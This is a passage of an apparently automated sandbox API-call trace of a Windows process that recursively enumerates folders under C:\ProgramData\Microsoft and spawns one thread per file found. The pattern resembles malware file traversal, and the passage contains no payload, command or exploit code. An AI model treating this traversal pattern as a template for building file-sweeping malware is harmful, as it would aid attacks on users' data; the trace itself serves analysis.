(_String1="guest.bmp", _String2=".") returned 1 [0090.569] wcscmp (_String1="guest.bmp", _String2="..") returned 1 [0090.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79daf0 [0090.569] wcscpy (in: _Dest=0x1b79daf0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0090.569] wcscat (in: _Dest=0x1b79daf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0090.569] wcscat (in: _Dest=0x1b79daf0, _Source="guest.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0090.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79daf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0090.570] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0090.570] wcscmp (_String1="user.bmp", _String2=".") returned 1 [0090.570] wcscmp (_String1="user.bmp", _String2="..") returned 1 [0090.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0090.570] wcscpy (in: _Dest=0x1b79da70, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0090.570] wcscat (in: _Dest=0x1b79da70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0090.570] wcscat (in: _Dest=0x1b79da70, _Source="user.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0090.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79da70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0090.571] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd98340 | out: lpFindFileData=0x1cd98340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0090.571] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0090.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98340) returned 1 [0090.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e410) returned 1 [0090.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1bf0) returned 1 Thread: id = 194 os_tid = 0xc38 [0086.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97210 [0086.557] wcscpy (in: _Dest=0x1cd97210, _Source="C:\\ProgramData\\Microsoft\\Vault" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault" [0086.557] wcscat (in: _Dest=0x1cd97210, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\") returned="C:\\ProgramData\\Microsoft\\Vault\\" [0086.557] wcscat (in: _Dest=0x1cd97210, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\*") returned="C:\\ProgramData\\Microsoft\\Vault\\*" [0086.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd985b0 [0086.557] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86cd0 [0086.557] wcscmp (_String1=".", _String2=".") returned 0 [0086.557] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.557] wcscmp (_String1="..", _String2=".") returned 1 [0086.557] wcscmp (_String1="..", _String2="..") returned 0 [0086.558] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.558] FindClose (in: hFindFile=0x1cd86cd0 | out: hFindFile=0x1cd86cd0) returned 1 [0086.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd985b0) returned 1 [0086.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0086.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c170) returned 1 Thread: id = 195 os_tid = 0xc3c [0086.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c170 [0086.560] wcscpy (in: _Dest=0x1b82c170, _Source="C:\\ProgramData\\Microsoft\\VISIO" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO" [0086.560] wcscat (in: _Dest=0x1b82c170, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO\\") returned="C:\\ProgramData\\Microsoft\\VISIO\\" [0086.560] wcscat (in: _Dest=0x1b82c170, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO\\*") returned="C:\\ProgramData\\Microsoft\\VISIO\\*" [0086.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd985b0 [0086.560] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86cd0 [0086.561] wcscmp (_String1=".", _String2=".") returned 0 [0086.561] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.561] wcscmp (_String1="..", _String2=".") returned 1 [0086.561] wcscmp (_String1="..", _String2="..") returned 0 [0086.561] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.561] FindClose (in: hFindFile=0x1cd86cd0 | out: hFindFile=0x1cd86cd0) returned 1 [0086.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd985b0) returned 1 [0086.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c170) returned 1 [0086.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c1c0) returned 1 Thread: id = 196 os_tid = 0xc40 [0086.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82c1c0 [0086.564] wcscpy (in: _Dest=0x1b82c1c0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0086.564] wcscat (in: _Dest=0x1b82c1c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0086.564] wcscat (in: _Dest=0x1b82c1c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\*" [0086.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd985b0 [0086.564] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86cd0 [0086.564] wcscmp (_String1=".", _String2=".") returned 0 [0086.564] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.564] wcscmp (_String1="..", _String2=".") returned 1 [0086.564] wcscmp (_String1="..", _String2="..") returned 0 [0086.564] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIT", cAlternateFileName="")) returned 1 [0086.564] wcscmp (_String1="AIT", _String2=".") returned 1 [0086.564] wcscmp (_String1="AIT", _String2="..") returned 1 [0086.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86d30 [0086.565] wcscpy (in: _Dest=0x1cd86d30, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0086.565] wcscat (in: _Dest=0x1cd86d30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0086.565] wcscat (in: _Dest=0x1cd86d30, _Source="AIT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AIT") returned="C:\\ProgramData\\Microsoft\\Windows\\AIT" [0097.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c [0097.312] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9b86da60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9b86da60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1 [0097.312] wcscmp (_String1="Caches", _String2=".") returned 1 [0097.312] wcscmp (_String1="Caches", _String2="..") returned 1 [0097.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b7cea60 [0097.312] wcscpy (in: _Dest=0x1b7cea60, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0097.312] wcscat (in: _Dest=0x1b7cea60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.312] wcscat (in: _Dest=0x1b7cea60, _Source="Caches" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Caches") returned="C:\\ProgramData\\Microsoft\\Windows\\Caches" [0097.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea60) returned 1 [0097.312] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataStore", cAlternateFileName="DEVICE~1")) returned 1 [0097.313] wcscmp (_String1="DeviceMetadataStore", _String2=".") returned 1 [0097.313] wcscmp (_String1="DeviceMetadataStore", _String2="..") returned 1 [0097.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d6f0 [0097.313] wcscpy (in: _Dest=0x1b79d6f0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0097.313] wcscat (in: _Dest=0x1b79d6f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.313] wcscat (in: _Dest=0x1b79d6f0, _Source="DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0097.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb38 [0097.314] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0097.314] wcscmp (_String1="DRM", _String2=".") returned 1 [0097.314] wcscmp (_String1="DRM", _String2="..") returned 1 [0097.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7cea60 [0097.314] wcscpy (in: _Dest=0x1b7cea60, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0097.314] wcscat (in: _Dest=0x1b7cea60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.314] wcscat (in: _Dest=0x1b7cea60, _Source="DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM" [0097.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7cea60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb34 [0097.315] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0097.315] wcscmp (_String1="GameExplorer", _String2=".") returned 1 [0097.315] wcscmp (_String1="GameExplorer", _String2="..") returned 1 [0097.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1b10 [0097.315] wcscpy (in: _Dest=0x1b7c1b10, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0097.315] wcscat (in: _Dest=0x1b7c1b10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.315] wcscat (in: _Dest=0x1b7c1b10, _Source="GameExplorer" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" [0097.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44 [0097.316] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Efficiency Diagnostics", cAlternateFileName="POWERE~1")) returned 1 [0097.316] wcscmp (_String1="Power Efficiency Diagnostics", _String2=".") returned 1 [0097.316] wcscmp (_String1="Power Efficiency Diagnostics", _String2="..") returned 1 [0097.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5340 [0097.317] wcscpy (in: _Dest=0x202a5340, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0097.317] wcscat (in: _Dest=0x202a5340, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.317] wcscat (in: _Dest=0x202a5340, _Source="Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0097.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a5340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0097.318] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1 [0097.318] wcscmp (_String1="Ringtones", _String2=".") returned 1 [0097.318] wcscmp (_String1="Ringtones", _String2="..") returned 1 [0097.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b7ce940 [0097.318] wcscpy (in: _Dest=0x1b7ce940, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0097.318] wcscat (in: _Dest=0x1b7ce940, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.318] wcscat (in: _Dest=0x1b7ce940, _Source="Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0097.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0097.319] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sqm", cAlternateFileName="")) returned 1 [0097.319] wcscmp (_String1="Sqm", _String2=".") returned 1 [0097.319] wcscmp (_String1="Sqm", _String2="..") returned 1 [0097.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7ce9a0 [0097.319] wcscpy (in: _Dest=0x1b7ce9a0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0097.319] wcscat (in: _Dest=0x1b7ce9a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.319] wcscat (in: _Dest=0x1b7ce9a0, _Source="Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm" [0097.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0097.320] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0097.320] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0097.320] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0097.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b7ce8e0 [0097.321] wcscpy (in: _Dest=0x1b7ce8e0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0097.321] wcscat (in: _Dest=0x1b7ce8e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Windows\\" [0097.321] wcscat (in: _Dest=0x1b7ce8e0, _Source="Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0097.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ce8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0097.321] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0097.322] wcscmp (_String1="Templates", _String2=".") returned 1 [0097.322] wcscmp (_String1="Templates", _String2="..") returned 1 [0097.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b7ce7c0 [0097.322] wcscpy (in: _Dest=0x1b7ce7c0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") 